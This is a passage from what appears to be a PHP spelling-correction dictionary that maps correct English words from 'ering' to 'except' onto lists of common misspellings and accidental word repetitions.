t\t\t\t'ering',\r\n\t\t\t\t],\r\n\t\t\t\t'erroneous'=>[\r\n\t\t\t\t\t'eroneous',\r\n\t\t\t\t],\r\n\t\t\t\t'erroneousness'=>[\r\n\t\t\t\t\t'eroneousness',\r\n\t\t\t\t],\r\n\t\t\t\t'erroneousnesses'=>[\r\n\t\t\t\t\t'eroneousnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'error'=>[\r\n\t\t\t\t\t'eror',\r\n\t\t\t\t],\r\n\t\t\t\t'errors'=>[\r\n\t\t\t\t\t'erors',\r\n\t\t\t\t],\r\n\t\t\t\t'errs'=>[\r\n\t\t\t\t\t'ers',\r\n\t\t\t\t],\r\n\t\t\t\t'erudite'=>[\r\n\t\t\t\t\t'erudit',\r\n\t\t\t\t],\r\n\t\t\t\t'eruditely'=>[\r\n\t\t\t\t\t'erudately',\r\n\t\t\t\t\t'eruditly',\r\n\t\t\t\t],\r\n\t\t\t\t'erupted'=>[\r\n\t\t\t\t\t'errupted',\r\n\t\t\t\t],\r\n\t\t\t\t'eruptible'=>[\r\n\t\t\t\t\t'eruptable',\r\n\t\t\t\t],\r\n\t\t\t\t'eruptively'=>[\r\n\t\t\t\t\t'eruptivly',\r\n\t\t\t\t],\r\n\t\t\t\t'erythropoieses'=>[\r\n\t\t\t\t\t'erythropoeises',\r\n\t\t\t\t\t'erythropoises',\r\n\t\t\t\t],\r\n\t\t\t\t'erythropoiesis'=>[\r\n\t\t\t\t\t'erythropoeisis',\r\n\t\t\t\t\t'erythropoisis',\r\n\t\t\t\t],\r\n\t\t\t\t'erythropoietic'=>[\r\n\t\t\t\t\t'erythropoeitic',\r\n\t\t\t\t\t'erythropoitic',\r\n\t\t\t\t],\r\n\t\t\t\t'erythropoietin'=>[\r\n\t\t\t\t\t'erythropoeitin',\r\n\t\t\t\t\t'erythropoitin',\r\n\t\t\t\t],\r\n\t\t\t\t'erythropoietins'=>[\r\n\t\t\t\t\t'erythropoeitins',\r\n\t\t\t\t\t'erythropoitins',\r\n\t\t\t\t],\r\n\t\t\t\t'escalade'=>[\r\n\t\t\t\t\t'ecalade',\r\n\t\t\t\t\t'ecsalade',\r\n\t\t\t\t\t'esalade',\r\n\t\t\t\t],\r\n\t\t\t\t'escalate'=>[\r\n\t\t\t\t\t'ecalate',\r\n\t\t\t\t\t'ecsalate',\r\n\t\t\t\t\t'esalate',\r\n\t\t\t\t],\r\n\t\t\t\t'escalator'=>[\r\n\t\t\t\t\t'ecalator',\r\n\t\t\t\t\t'ecsalator',\r\n\t\t\t\t\t'esalator',\r\n\t\t\t\t],\r\n\t\t\t\t'escapade'=>[\r\n\t\t\t\t\t'ecapade',\r\n\t\t\t\t\t'ecsapade',\r\n\t\t\t\t\t'esapade',\r\n\t\t\t\t],\r\n\t\t\t\t'escape'=>[\r\n\t\t\t\t\t'excape',\r\n\t\t\t\t\t'exscape',\r\n\t\t\t\t\t'ecape',\r\n\t\t\t\t\t'ecsape',\r\n\t\t\t\t\t'esape',\r\n\t\t\t\t],\r\n\t\t\t\t'escapee'=>[\r\n\t\t\t\t\t'ecapee',\r\n\t\t\t\t\t'ecsapee',\r\n\t\t\t\t\t'esapee',\r\n\t\t\t\t],\r\n\t\t\t\t'escapement'=>[\r\n\t\t\t\t\t'ecapement',\r\n\t\t\t\t\t'ecsapement',\r\n\t\t\t\t\t'esapement',\r\n\t\t\t\t],\r\n\t\t\t\t'escapism'=>[\r\n\t\t\t\t\t'ecapism',\r\n\t\t\t\t\t'ecsapism',\r\n\t\t\t\t\t'esapism',\r\n\t\t\t\t],\r\n\t\t\t\t'escapist'=>[\r\n\t\t\t\t\t'ecapist',\r\n\t\t\t\t\t'ecsapist',\r\n\t\t\t\t\t'esapist',\r\n\t\t\t\t],\r\n\t\t\t\t'escar'=>[\r\n\t\t\t\t\t'ecar',\r\n\t\t\t\t\t'ecsar',\r\n\t\t\t\t\t'esar',\r\n\t\t\t\t\t'escer',\r\n\t\t\t\t],\r\n\t\t\t\t'escargot'=>[\r\n\t\t\t\t\t'ecargot',\r\n\t\t\t\t\t'ecsargot',\r\n\t\t\t\t\t'esargot',\r\n\t\t\t\t],\r\n\t\t\t\t'escarole'=>[\r\n\t\t\t\t\t'ecarole',\r\n\t\t\t\t\t'ecsarole',\r\n\t\t\t\t\t'esarole',\r\n\t\t\t\t],\r\n\t\t\t\t'escarp'=>[\r\n\t\t\t\t\t'ecarp',\r\n\t\t\t\t\t'ecsarp',\r\n\t\t\t\t\t'esarp',\r\n\t\t\t\t],\r\n\t\t\t\t'escarpment'=>[\r\n\t\t\t\t\t'ecarpment',\r\n\t\t\t\t\t'ecsarpment',\r\n\t\t\t\t\t'esarpment',\r\n\t\t\t\t],\r\n\t\t\t\t'escars'=>[\r\n\t\t\t\t\t'ecars',\r\n\t\t\t\t\t'ecsars',\r\n\t\t\t\t\t'esars',\r\n\t\t\t\t],\r\n\t\t\t\t'eschar'=>[\r\n\t\t\t\t\t'echar',\r\n\t\t\t\t\t'ecshar',\r\n\t\t\t\t\t'escher',\r\n\t\t\t\t\t'eshar',\r\n\t\t\t\t],\r\n\t\t\t\t'eschatological'=>[\r\n\t\t\t\t\t'echatological',\r\n\t\t\t\t\t'ecshatological',\r\n\t\t\t\t\t'eshatological',\r\n\t\t\t\t],\r\n\t\t\t\t'eschatology'=>[\r\n\t\t\t\t\t'echatology',\r\n\t\t\t\t\t'ecshatology',\r\n\t\t\t\t\t'eshatology',\r\n\t\t\t\t],\r\n\t\t\t\t'escheat'=>[\r\n\t\t\t\t\t'echeat',\r\n\t\t\t\t\t'ecsheat',\r\n\t\t\t\t\t'esheat',\r\n\t\t\t\t],\r\n\t\t\t\t'eschew'=>[\r\n\t\t\t\t\t'echew',\r\n\t\t\t\t\t'ecshew',\r\n\t\t\t\t\t'eshew',\r\n\t\t\t\t],\r\n\t\t\t\t'escolar'=>[\r\n\t\t\t\t\t'ecolar',\r\n\t\t\t\t\t'ecsolar',\r\n\t\t\t\t\t'escoler',\r\n\t\t\t\t\t'esolar',\r\n\t\t\t\t],\r\n\t\t\t\t'escort'=>[\r\n\t\t\t\t\t'ecort',\r\n\t\t\t\t\t'ecsort',\r\n\t\t\t\t\t'esort',\r\n\t\t\t\t],\r\n\t\t\t\t'escot'=>[\r\n\t\t\t\t\t'ecot',\r\n\t\t\t\t\t'ecsot',\r\n\t\t\t\t\t'esot',\r\n\t\t\t\t],\r\n\t\t\t\t'escots'=>[\r\n\t\t\t\t\t'ecots',\r\n\t\t\t\t\t'ecsots',\r\n\t\t\t\t\t'esots',\r\n\t\t\t\t],\r\n\t\t\t\t'escrow'=>[\r\n\t\t\t\t\t'ecrow',\r\n\t\t\t\t\t'ecsrow',\r\n\t\t\t\t\t'esrow',\r\n\t\t\t\t],\r\n\t\t\t\t'escudo'=>[\r\n\t\t\t\t\t'ecsudo',\r\n\t\t\t\t\t'ecudo',\r\n\t\t\t\t\t'esudo',\r\n\t\t\t\t],\r\n\t\t\t\t'eskar'=>[\r\n\t\t\t\t\t'esker',\r\n\t\t\t\t],\r\n\t\t\t\t'espalier'=>[\r\n\t\t\t\t\t'espaleir',\r\n\t\t\t\t\t'espalir',\r\n\t\t\t\t],\r\n\t\t\t\t'esparto'=>[\r\n\t\t\t\t\t'esperto',\r\n\t\t\t\t],\r\n\t\t\t\t'espartos'=>[\r\n\t\t\t\t\t'espertos',\r\n\t\t\t\t],\r\n\t\t\t\t'especially'=>[\r\n\t\t\t\t\t'espacially',\r\n\t\t\t\t\t'especally',\r\n\t\t\t\t\t'especially especially',\r\n\t\t\t\t\t'especially especially especially',\r\n\t\t\t\t\t'expecially',\r\n\t\t\t\t\t'especialally',\r\n\t\t\t\t\t'especialaly',\r\n\t\t\t\t\t'especialely',\r\n\t\t\t\t\t'especiallly',\r\n\t\t\t\t\t'especialy',\r\n\t\t\t\t],\r\n\t\t\t\t'esperance'=>[\r\n\t\t\t\t\t'esperence',\r\n\t\t\t\t],\r\n\t\t\t\t'espionage'=>[\r\n\t\t\t\t\t'espoinage',\r\n\t\t\t\t\t'esponage',\r\n\t\t\t\t\t'esponiage',\r\n\t\t\t\t],\r\n\t\t\t\t'espousing'=>[\r\n\t\t\t\t\t'espouisng',\r\n\t\t\t\t],\r\n\t\t\t\t'espresso'=>[\r\n\t\t\t\t\t'espreso',\r\n\t\t\t\t],\r\n\t\t\t\t'essai sur sénèque'=>[\r\n\t\t\t\t\t'esai sur seneque',\r\n\t\t\t\t],\r\n\t\t\t\t'essay'=>[\r\n\t\t\t\t\t'esay',\r\n\t\t\t\t],\r\n\t\t\t\t'essence'=>[\r\n\t\t\t\t\t'esence',\r\n\t\t\t\t\t'essense',\r\n\t\t\t\t\t'essance',\r\n\t\t\t\t],\r\n\t\t\t\t'essential'=>[\r\n\t\t\t\t\t'esential',\r\n\t\t\t\t\t'essencial',\r\n\t\t\t\t\t'essental',\r\n\t\t\t\t\t'essentual',\r\n\t\t\t\t\t'essesital',\r\n\t\t\t\t\t'essantial',\r\n\t\t\t\t],\r\n\t\t\t\t'essentialism'=>[\r\n\t\t\t\t\t'esentialism',\r\n\t\t\t\t\t'essantialism',\r\n\t\t\t\t],\r\n\t\t\t\t'essentialities'=>[\r\n\t\t\t\t\t'essentialiteis',\r\n\t\t\t\t\t'essentialitis',\r\n\t\t\t\t],\r\n\t\t\t\t'essentialize'=>[\r\n\t\t\t\t\t'esentialize',\r\n\t\t\t\t\t'essantialize',\r\n\t\t\t\t],\r\n\t\t\t\t'essentially'=>[\r\n\t\t\t\t\t'esentially',\r\n\t\t\t\t\t'essentialy',\r\n\t\t\t\t],\r\n\t\t\t\t'essentialnesses'=>[\r\n\t\t\t\t\t'essantialnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'esses'=>[\r\n\t\t\t\t\t'eses',\r\n\t\t\t\t],\r\n\t\t\t\t'establish'=>[\r\n\t\t\t\t\t'estabilish',\r\n\t\t\t\t\t'estalbish',\r\n\t\t\t\t],\r\n\t\t\t\t'establishable'=>[\r\n\t\t\t\t\t'establishible',\r\n\t\t\t\t],\r\n\t\t\t\t'established'=>[\r\n\t\t\t\t\t'establised',\r\n\t\t\t\t\t'establislied',\r\n\t\t\t\t],\r\n\t\t\t\t'establishment'=>[\r\n\t\t\t\t\t'establishement',\r\n\t\t\t\t\t'establishme',\r\n\t\t\t\t\t'establishmant',\r\n\t\t\t\t],\r\n\t\t\t\t'esthetician'=>[\r\n\t\t\t\t\t'esthetican',\r\n\t\t\t\t],\r\n\t\t\t\t'estimable'=>[\r\n\t\t\t\t\t'estimible',\r\n\t\t\t\t],\r\n\t\t\t\t'estimate'=>[\r\n\t\t\t\t\t'estamite',\r\n\t\t\t\t\t'estimite',\r\n\t\t\t\t],\r\n\t\t\t\t'estonian-occupied'=>[\r\n\t\t\t\t\t'estonian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'estopped'=>[\r\n\t\t\t\t\t'estoped',\r\n\t\t\t\t],\r\n\t\t\t\t'estoppel'=>[\r\n\t\t\t\t\t'estopel',\r\n\t\t\t\t],\r\n\t\t\t\t'estrellas de areito'=>[\r\n\t\t\t\t\t'estreas de areito',\r\n\t\t\t\t],\r\n\t\t\t\t'estuarine'=>[\r\n\t\t\t\t\t'estaurine',\r\n\t\t\t\t\t'estuarini',\r\n\t\t\t\t],\r\n\t\t\t\t'estuary'=>[\r\n\t\t\t\t\t'estaury',\r\n\t\t\t\t\t'estuery',\r\n\t\t\t\t],\r\n\t\t\t\t'esurience'=>[\r\n\t\t\t\t\t'esuriance',\r\n\t\t\t\t],\r\n\t\t\t\t'esuriency'=>[\r\n\t\t\t\t\t'esuriensy',\r\n\t\t\t\t],\r\n\t\t\t\t'et cetera'=>[\r\n\t\t\t\t\t'ec cetera',\r\n\t\t\t\t\t'etcetera',\r\n\t\t\t\t],\r\n\t\t\t\t'etc'=>[\r\n\t\t\t\t\t'ect',\r\n\t\t\t\t],\r\n\t\t\t\t'etc.'=>[\r\n\t\t\t\t\t'ect.',\r\n\t\t\t\t],\r\n\t\t\t\t'etchant'=>[\r\n\t\t\t\t\t'etchent',\r\n\t\t\t\t],\r\n\t\t\t\t'etesian'=>[\r\n\t\t\t\t\t'etesan',\r\n\t\t\t\t],\r\n\t\t\t\t'ethanolamine'=>[\r\n\t\t\t\t\t'ethanolamini',\r\n\t\t\t\t],\r\n\t\t\t\t'ethanolamines'=>[\r\n\t\t\t\t\t'ethanolaminis',\r\n\t\t\t\t],\r\n\t\t\t\t'ethereal'=>[\r\n\t\t\t\t\t'etherial',\r\n\t\t\t\t\t'etherel',\r\n\t\t\t\t],\r\n\t\t\t\t'etherealization'=>[\r\n\t\t\t\t\t'etherelization',\r\n\t\t\t\t],\r\n\t\t\t\t'etherealnesses'=>[\r\n\t\t\t\t\t'etherelnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'ethician'=>[\r\n\t\t\t\t\t'ethican',\r\n\t\t\t\t],\r\n\t\t\t\t'ethiopia'=>[\r\n\t\t\t\t\t'ethiopa',\r\n\t\t\t\t],\r\n\t\t\t\t'ethiopian-occupied'=>[\r\n\t\t\t\t\t'ethiopian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnocentricity'=>[\r\n\t\t\t\t\t'ethnocantricity',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnocentrism'=>[\r\n\t\t\t\t\t'ethnocantrism',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnography'=>[\r\n\t\t\t\t\t'etnography',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnohistorian'=>[\r\n\t\t\t\t\t'ethnohistoran',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnohistories'=>[\r\n\t\t\t\t\t'ethnohistoreis',\r\n\t\t\t\t\t'ethnohistoris',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnomusicology'=>[\r\n\t\t\t\t\t'ethnomuiscology',\r\n\t\t\t\t],\r\n\t\t\t\t'ethnoscience'=>[\r\n\t\t\t\t\t'ethnosceince',\r\n\t\t\t\t\t'ethnocience',\r\n\t\t\t\t\t'ethnocsience',\r\n\t\t\t\t\t'ethnosciance',\r\n\t\t\t\t\t'ethnoscince',\r\n\t\t\t\t\t'ethnosience',\r\n\t\t\t\t],\r\n\t\t\t\t'etymology'=>[\r\n\t\t\t\t\t'ethymology',\r\n\t\t\t\t],\r\n\t\t\t\t'euclidean'=>[\r\n\t\t\t\t\t'euclidian',\r\n\t\t\t\t],\r\n\t\t\t\t'euclidian'=>[\r\n\t\t\t\t\t'euclidan',\r\n\t\t\t\t],\r\n\t\t\t\t'eugeosyncline'=>[\r\n\t\t\t\t\t'eugeosynclini',\r\n\t\t\t\t],\r\n\t\t\t\t'eugeosynclines'=>[\r\n\t\t\t\t\t'eugeosynclinis',\r\n\t\t\t\t],\r\n\t\t\t\t'eulogistically'=>[\r\n\t\t\t\t\t'eulogisticalally',\r\n\t\t\t\t\t'eulogisticalaly',\r\n\t\t\t\t\t'eulogisticalely',\r\n\t\t\t\t\t'eulogisticallly',\r\n\t\t\t\t],\r\n\t\t\t\t'eulogy'=>[\r\n\t\t\t\t\t'euology',\r\n\t\t\t\t],\r\n\t\t\t\t'euonymus'=>[\r\n\t\t\t\t\t'eonymus',\r\n\t\t\t\t],\r\n\t\t\t\t'euonymuses'=>[\r\n\t\t\t\t\t'eonymuses',\r\n\t\t\t\t],\r\n\t\t\t\t'eupepsy'=>[\r\n\t\t\t\t\t'eupepcy',\r\n\t\t\t\t],\r\n\t\t\t\t'euphausid'=>[\r\n\t\t\t\t\t'euphauisd',\r\n\t\t\t\t],\r\n\t\t\t\t'euphausids'=>[\r\n\t\t\t\t\t'euphauisds',\r\n\t\t\t\t],\r\n\t\t\t\t'euphausiid'=>[\r\n\t\t\t\t\t'euphauisid',\r\n\t\t\t\t],\r\n\t\t\t\t'euphausiids'=>[\r\n\t\t\t\t\t'euphauisids',\r\n\t\t\t\t],\r\n\t\t\t\t'euphemism'=>[\r\n\t\t\t\t\t'euphamism',\r\n\t\t\t\t],\r\n\t\t\t\t'euphonious'=>[\r\n\t\t\t\t\t'euphonous',\r\n\t\t\t\t],\r\n\t\t\t\t'euphoniously'=>[\r\n\t\t\t\t\t'euphonously',\r\n\t\t\t\t],\r\n\t\t\t\t'euphrasy'=>[\r\n\t\t\t\t\t'euphracy',\r\n\t\t\t\t],\r\n\t\t\t\t'europe'=>[\r\n\t\t\t\t\t'euorpe',\r\n\t\t\t\t],\r\n\t\t\t\t'european'=>[\r\n\t\t\t\t\t'euorpean',\r\n\t\t\t\t\t'europian',\r\n\t\t\t\t\t'eurpean',\r\n\t\t\t\t\t'eurpoean',\r\n\t\t\t\t],\r\n\t\t\t\t'europeans'=>[\r\n\t\t\t\t\t'europians',\r\n\t\t\t\t],\r\n\t\t\t\t'eustacy'=>[\r\n\t\t\t\t\t'eustasy',\r\n\t\t\t\t],\r\n\t\t\t\t'eustasy'=>[\r\n\t\t\t\t\t'eustacy',\r\n\t\t\t\t],\r\n\t\t\t\t'eutherian'=>[\r\n\t\t\t\t\t'eutheran',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuant'=>[\r\n\t\t\t\t\t'evacaunt',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuate'=>[\r\n\t\t\t\t\t'evacaute',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuating'=>[\r\n\t\t\t\t\t'evacauting',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuation'=>[\r\n\t\t\t\t\t'evacaution',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuative'=>[\r\n\t\t\t\t\t'evacautive',\r\n\t\t\t\t],\r\n\t\t\t\t'evacuators'=>[\r\n\t\t\t\t\t'evacautors',\r\n\t\t\t\t],\r\n\t\t\t\t'evadible'=>[\r\n\t\t\t\t\t'evadable',\r\n\t\t\t\t],\r\n\t\t\t\t'evaginate'=>[\r\n\t\t\t\t\t'evaginite',\r\n\t\t\t\t],\r\n\t\t\t\t'evaluate'=>[\r\n\t\t\t\t\t'evalaute',\r\n\t\t\t\t],\r\n\t\t\t\t'evaluating'=>[\r\n\t\t\t\t\t'evalauting',\r\n\t\t\t\t],\r\n\t\t\t\t'evaluation'=>[\r\n\t\t\t\t\t'evalaution',\r\n\t\t\t\t],\r\n\t\t\t\t'evaluative'=>[\r\n\t\t\t\t\t'evalautive',\r\n\t\t\t\t],\r\n\t\t\t\t'evaluators'=>[\r\n\t\t\t\t\t'evalautors',\r\n\t\t\t\t],\r\n\t\t\t\t'evanescence'=>[\r\n\t\t\t\t\t'evanescance',\r\n\t\t\t\t],\r\n\t\t\t\t'evanescences'=>[\r\n\t\t\t\t\t'evanecences',\r\n\t\t\t\t\t'evanecsences',\r\n\t\t\t\t\t'evanesences',\r\n\t\t\t\t],\r\n\t\t\t\t'evanescent'=>[\r\n\t\t\t\t\t'evanecent',\r\n\t\t\t\t\t'evanecsent',\r\n\t\t\t\t\t'evanesent',\r\n\t\t\t\t],\r\n\t\t\t\t'evasively'=>[\r\n\t\t\t\t\t'evasivly',\r\n\t\t\t\t],\r\n\t\t\t\t'even'=>[\r\n\t\t\t\t\t'even even',\r\n\t\t\t\t\t'even even even',\r\n\t\t\t\t],\r\n\t\t\t\t'evened'=>[\r\n\t\t\t\t\t'evend',\r\n\t\t\t\t],\r\n\t\t\t\t'evenhandedly'=>[\r\n\t\t\t\t\t'evenhandedally',\r\n\t\t\t\t\t'evenhandedaly',\r\n\t\t\t\t\t'evenhandedely',\r\n\t\t\t\t\t'evenhandedlly',\r\n\t\t\t\t],\r\n\t\t\t\t'evening'=>[\r\n\t\t\t\t\t'evening evening',\r\n\t\t\t\t\t'evening evening evening',\r\n\t\t\t\t\t'evining',\r\n\t\t\t\t],\r\n\t\t\t\t'event'=>[\r\n\t\t\t\t\t'event event',\r\n\t\t\t\t\t'event event event',\r\n\t\t\t\t\t'evant',\r\n\t\t\t\t],\r\n\t\t\t\t'eventful'=>[\r\n\t\t\t\t\t'evantful',\r\n\t\t\t\t],\r\n\t\t\t\t'events'=>[\r\n\t\t\t\t\t'evens',\r\n\t\t\t\t\t'evants',\r\n\t\t\t\t],\r\n\t\t\t\t'eventual'=>[\r\n\t\t\t\t\t'evantual',\r\n\t\t\t\t\t'eventaul',\r\n\t\t\t\t],\r\n\t\t\t\t'eventualities'=>[\r\n\t\t\t\t\t'eventaulities',\r\n\t\t\t\t],\r\n\t\t\t\t'eventuality'=>[\r\n\t\t\t\t\t'evantuality',\r\n\t\t\t\t\t'eventaulity',\r\n\t\t\t\t],\r\n\t\t\t\t'eventually'=>[\r\n\t\t\t\t\t'eventualy',\r\n\t\t\t\t\t'evantually',\r\n\t\t\t\t\t'eventaully',\r\n\t\t\t\t\t'eventualally',\r\n\t\t\t\t\t'eventualaly',\r\n\t\t\t\t\t'eventualely',\r\n\t\t\t\t\t'eventuallly',\r\n\t\t\t\t],\r\n\t\t\t\t'eventuate'=>[\r\n\t\t\t\t\t'eventaute',\r\n\t\t\t\t],\r\n\t\t\t\t'eventuated'=>[\r\n\t\t\t\t\t'eventauted',\r\n\t\t\t\t],\r\n\t\t\t\t'eventuates'=>[\r\n\t\t\t\t\t'eventautes',\r\n\t\t\t\t],\r\n\t\t\t\t'ever'=>[\r\n\t\t\t\t\t'ever ever',\r\n\t\t\t\t\t'ever ever ever',\r\n\t\t\t\t],\r\n\t\t\t\t'ever since'=>[\r\n\t\t\t\t\t'eversince',\r\n\t\t\t\t],\r\n\t\t\t\t'ever-working'=>[\r\n\t\t\t\t\t'everworking',\r\n\t\t\t\t],\r\n\t\t\t\t'evermore'=>[\r\n\t\t\t\t\t'evermoure',\r\n\t\t\t\t],\r\n\t\t\t\t'eversible'=>[\r\n\t\t\t\t\t'eversable',\r\n\t\t\t\t],\r\n\t\t\t\t'every'=>[\r\n\t\t\t\t\t'every every',\r\n\t\t\t\t\t'every every every',\r\n\t\t\t\t\t'eveyr',\r\n\t\t\t\t],\r\n\t\t\t\t'every time'=>[\r\n\t\t\t\t\t'everytime',\r\n\t\t\t\t],\r\n\t\t\t\t'everybody'=>[\r\n\t\t\t\t\t'everbody',\r\n\t\t\t\t\t'every body',\r\n\t\t\t\t\t'every-body',\r\n\t\t\t\t\t'everyboyd',\r\n\t\t\t\t],\r\n\t\t\t\t'everyone'=>[\r\n\t\t\t\t\t'every one',\r\n\t\t\t\t\t'every-one',\r\n\t\t\t\t],\r\n\t\t\t\t'everything'=>[\r\n\t\t\t\t\t'evervthing',\r\n\t\t\t\t],\r\n\t\t\t\t'evidence'=>[\r\n\t\t\t\t\t'evidance',\r\n\t\t\t\t],\r\n\t\t\t\t'evident'=>[\r\n\t\t\t\t\t'evedent',\r\n\t\t\t\t\t'evidant',\r\n\t\t\t\t],\r\n\t\t\t\t'evidential'=>[\r\n\t\t\t\t\t'evidantial',\r\n\t\t\t\t],\r\n\t\t\t\t'evidentially'=>[\r\n\t\t\t\t\t'evidantially',\r\n\t\t\t\t],\r\n\t\t\t\t'evidentiary'=>[\r\n\t\t\t\t\t'evidantiary',\r\n\t\t\t\t\t'evidentiery',\r\n\t\t\t\t],\r\n\t\t\t\t'evidently'=>[\r\n\t\t\t\t\t'evidentally',\r\n\t\t\t\t\t'evidantly',\r\n\t\t\t\t\t'evidentaly',\r\n\t\t\t\t\t'evidentely',\r\n\t\t\t\t\t'evidentlly',\r\n\t\t\t\t],\r\n\t\t\t\t'evil'=>[\r\n\t\t\t\t\t'evol',\r\n\t\t\t\t],\r\n\t\t\t\t'evincible'=>[\r\n\t\t\t\t\t'evincable',\r\n\t\t\t\t],\r\n\t\t\t\t'eviscerate'=>[\r\n\t\t\t\t\t'evicerate',\r\n\t\t\t\t\t'evicserate',\r\n\t\t\t\t\t'eviserate',\r\n\t\t\t\t],\r\n\t\t\t\t'eviscerating'=>[\r\n\t\t\t\t\t'evicerating',\r\n\t\t\t\t\t'evicserating',\r\n\t\t\t\t\t'eviserating',\r\n\t\t\t\t],\r\n\t\t\t\t'evisceration'=>[\r\n\t\t\t\t\t'eviceration',\r\n\t\t\t\t\t'evicseration',\r\n\t\t\t\t\t'eviseration',\r\n\t\t\t\t],\r\n\t\t\t\t'evitable'=>[\r\n\t\t\t\t\t'evitible',\r\n\t\t\t\t],\r\n\t\t\t\t'evocatively'=>[\r\n\t\t\t\t\t'evocativly',\r\n\t\t\t\t],\r\n\t\t\t\t'evolution'=>[\r\n\t\t\t\t\t'evalution',\r\n\t\t\t\t\t'evlution',\r\n\t\t\t\t\t'evoltion',\r\n\t\t\t\t\t'evoluton',\r\n\t\t\t\t],\r\n\t\t\t\t'evolutionary'=>[\r\n\t\t\t\t\t'evolutionery',\r\n\t\t\t\t],\r\n\t\t\t\t'exacerbate'=>[\r\n\t\t\t\t\t'exerbate',\r\n\t\t\t\t],\r\n\t\t\t\t'exacerbated'=>[\r\n\t\t\t\t\t'exerbated',\r\n\t\t\t\t],\r\n\t\t\t\t'exact'=>[\r\n\t\t\t\t\t'exact exact',\r\n\t\t\t\t\t'exact exact exact',\r\n\t\t\t\t],\r\n\t\t\t\t'exactly'=>[\r\n\t\t\t\t\t'exactally',\r\n\t\t\t\t\t'exactaly',\r\n\t\t\t\t\t'exactely',\r\n\t\t\t\t\t'exactlly',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerate'=>[\r\n\t\t\t\t\t'exagerate',\r\n\t\t\t\t\t'exagerrate',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerated'=>[\r\n\t\t\t\t\t'exagerated',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggeratedly'=>[\r\n\t\t\t\t\t'exageratedly',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggeratedness'=>[\r\n\t\t\t\t\t'exageratedness',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerates'=>[\r\n\t\t\t\t\t'exagerates',\r\n\t\t\t\t\t'exagerrates',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerating'=>[\r\n\t\t\t\t\t'exagerating',\r\n\t\t\t\t\t'exagerrating',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggeration'=>[\r\n\t\t\t\t\t'exageration',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerations'=>[\r\n\t\t\t\t\t'exagerations',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerative'=>[\r\n\t\t\t\t\t'exagerative',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerator'=>[\r\n\t\t\t\t\t'exagerator',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggerators'=>[\r\n\t\t\t\t\t'exagerators',\r\n\t\t\t\t],\r\n\t\t\t\t'exaggeratory'=>[\r\n\t\t\t\t\t'exageratory',\r\n\t\t\t\t],\r\n\t\t\t\t'exahertz'=>[\r\n\t\t\t\t\t'exaertz',\r\n\t\t\t\t],\r\n\t\t\t\t'exahertzes'=>[\r\n\t\t\t\t\t'exaertzes',\r\n\t\t\t\t],\r\n\t\t\t\t'exalt'=>[\r\n\t\t\t\t\t'exhalt',\r\n\t\t\t\t],\r\n\t\t\t\t'exaltation'=>[\r\n\t\t\t\t\t'exhaltation',\r\n\t\t\t\t],\r\n\t\t\t\t'examinant'=>[\r\n\t\t\t\t\t'examinint',\r\n\t\t\t\t],\r\n\t\t\t\t'examination'=>[\r\n\t\t\t\t\t'examinition',\r\n\t\t\t\t],\r\n\t\t\t\t'examine'=>[\r\n\t\t\t\t\t'examinate',\r\n\t\t\t\t\t'examini',\r\n\t\t\t\t],\r\n\t\t\t\t'examinee'=>[\r\n\t\t\t\t\t'examinie',\r\n\t\t\t\t],\r\n\t\t\t\t'example'=>[\r\n\t\t\t\t\t'example example',\r\n\t\t\t\t\t'example example example',\r\n\t\t\t\t\t'exemple',\r\n\t\t\t\t\t'exmaple',\r\n\t\t\t\t],\r\n\t\t\t\t'exanthematic'=>[\r\n\t\t\t\t\t'exenthematic',\r\n\t\t\t\t],\r\n\t\t\t\t'exasperated'=>[\r\n\t\t\t\t\t'exasparated',\r\n\t\t\t\t],\r\n\t\t\t\t'exceed'=>[\r\n\t\t\t\t\t'excede',\r\n\t\t\t\t],\r\n\t\t\t\t'exceeded'=>[\r\n\t\t\t\t\t'excedded',\r\n\t\t\t\t],\r\n\t\t\t\t'exceedingly'=>[\r\n\t\t\t\t\t'exceedingally',\r\n\t\t\t\t\t'exceedingaly',\r\n\t\t\t\t\t'exceedingely',\r\n\t\t\t\t\t'exceedinglly',\r\n\t\t\t\t],\r\n\t\t\t\t'excel'=>[\r\n\t\t\t\t\t'excell',\r\n\t\t\t\t],\r\n\t\t\t\t'excellence'=>[\r\n\t\t\t\t\t'excellance',\r\n\t\t\t\t\t'excelence',\r\n\t\t\t\t],\r\n\t\t\t\t'excellency'=>[\r\n\t\t\t\t\t'excellensy',\r\n\t\t\t\t],\r\n\t\t\t\t'excellent'=>[\r\n\t\t\t\t\t'excelent',\r\n\t\t\t\t\t'excellant',\r\n\t\t\t\t\t'execellent',\r\n\t\t\t\t\t'exelent',\r\n\t\t\t\t\t'exellent',\r\n\t\t\t\t],\r\n\t\t\t\t'excels'=>[\r\n\t\t\t\t\t'excells',\r\n\t\t\t\t],\r\n\t\t\t\t'except'=>[\r\n\t\t\t\t\t'except except',\r\n\t\t\t\t\t'except except 